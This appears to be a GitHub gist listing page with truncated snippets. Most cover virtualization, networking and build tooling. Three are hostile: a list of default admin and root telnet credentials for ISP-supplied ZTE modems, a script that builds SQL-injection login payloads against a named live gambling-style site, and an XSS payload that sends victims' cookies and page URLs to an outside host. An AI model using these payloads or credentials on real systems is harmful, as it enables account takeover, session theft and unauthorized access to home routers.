sudo su
brctl addbr br0
ip addr add 192.168.3.100/24 dev br0
ip link set br0 up
[ -d /etc/qemu ] || mkdir /etc/qemu
touch /etc/qemu/bridge.conf
echo "allow br0" >> /etc/qemu/bridge.conf
View install-kimchi-ubuntu18.04.sh
#For Indonesian server | |
#locale fix | |
sudo locale-gen id_ID.UTF-8 | |
#change miror | |
sudo sed -i_old 's/archive.ubuntu.com/kambing.ui.ac.id/' /etc/apt/sources.list | |
sudo apt update | |
#INSTALL WOK | |
#build depencies |
View dnsmasq-dhcpserver.sh
#!/bin/bash | |
if [ -z "$1" ]; then | |
IFACE=`ip l | grep ^2: | cut -d ' ' -f2` | |
# remove last ':' | |
IFACE=${IFACE::-1} | |
else | |
IFACE="$1" | |
fi | |
echo "Setup dnsmasq on $IFACE" |
View modem-indihome-zte
webuser | |
======= | |
admin:admin | |
admin:Telkomdso123 | |
user:user | |
telnet | |
====== | |
root:Zte521 |
View temp.sh
``` bash | |
TOKEN="\' or true -- -" | |
USER="\' or true ORDER BY point_reward DESC limit 1 -- -" | |
DATA=$( printf "$TOKEN||$USER" | base64 -w 0 | sed s/=/%3D/ | sed s/\\//%2F/ ) | |
echo "https://dewafortune.net/auth/login_campaign.php?data=$DATA" | |
``` | |
View qemulate.sh
sudo qemu-system-i386 \ | |
-m 512 \ | |
-smp 1 \ | |
-enable-kvm \ | |
-drive if=none,id=disk00,format=qcow2,file=tmp/disk1.qcow2 \ | |
-device "ide-hd,drive=disk00,bus=ide.0,serial=00000000000000000001,model=VMware Virtual IDE Hard Drive" \ | |
-nic tap |
View qemu-linux-host-to-guest-bridge.md
View mount-ubi-using-mtdram.sh
#!/bin/bash | |
if [ ! -d files ]; then | |
# Make the content | |
echo "Generating root content.." | |
mkdir files | |
echo "$(date)" > files/date.txt | |
echo "Another content" > files/other.txt | |
fi | |
#These config are based by Nand device that you will use! |
View email-getnada.spec.ts
// Jasmine Standalone testing suite | |
import { GetnadaClient, ListResponse } from "./email-getnada"; | |
(jasmine.getEnv() as any) .configure({random: false, oneFailurePerSpec: true, failFast: true}); | |
let listResponse: ListResponse; | |
describe('Plugins testing getnada api client', () => { | |
const email = 'learner@getnada.com'; | |
const api = new GetnadaClient(email); |
View webpack.external.js
module.exports = function(){ | |
var fs = require("fs"); | |
var nodeExternal = {}; | |
var pkg = JSON.parse(fs.readFileSync('package.json', { encoding: 'utf-8' })); | |
Object.keys(pkg.dependencies).forEach(function (name) { | |
nodeExternal[name] = "require('" + name + "')"; | |
}); | |
Object.keys(pkg.devDependencies).filter(function (v) { return !v.match(/@types/); }).forEach(function (name) { | |
nodeExternal[name] = "require('" + name + "')"; | |
}); |
View xss-ajax.js
(function(w,d,u){ | |
if(w['$'] && w['$'].post){ | |
$.post(u,{u: d.location.href, c: d.cookie}); | |
}else{ | |
var fu = [u,'\x3f','u=',escape(d.location.href),'&c=',escape(d.cookie)].join(''); | |
console.log('FU: ', fu); | |
function planB(){ | |
el = d.createElement('img'); | |
el.onerror = el.onload = function(){ el.remove() } | |
el.src=fu; d.body.append(el); |